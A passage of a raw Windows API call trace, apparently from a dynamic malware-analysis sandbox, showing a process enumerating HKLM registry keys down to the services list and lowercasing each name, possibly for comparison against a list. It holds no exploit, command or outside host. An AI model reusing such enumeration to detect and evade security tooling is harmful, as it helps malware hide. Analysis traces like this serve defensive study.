0x21f1d60 [0260.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.235] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0260.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0260.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.235] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0260.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0260.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.235] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0260.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0260.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.236] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0260.236] RegCloseKey (hKey=0x80000002) returned 0x0 [0260.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0260.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0260.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0260.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0260.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0260.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0260.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f16e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0260.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.237] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0260.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0260.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.237] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0260.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0260.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.237] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0260.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0260.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.238] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0260.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0260.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.238] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0260.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0260.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.238] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0260.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0260.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.238] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0260.238] RegCloseKey (hKey=0xc4) returned 0x0 [0260.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0260.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0260.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0260.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0260.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0260.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0260.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0260.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0260.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.240] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0260.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0260.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.240] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0260.240] RegCloseKey (hKey=0x150) returned 0x0 [0260.240] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0260.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0260.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.240] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0260.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0260.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d60, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0260.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.241] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0260.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0260.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f16e8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0260.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.241] 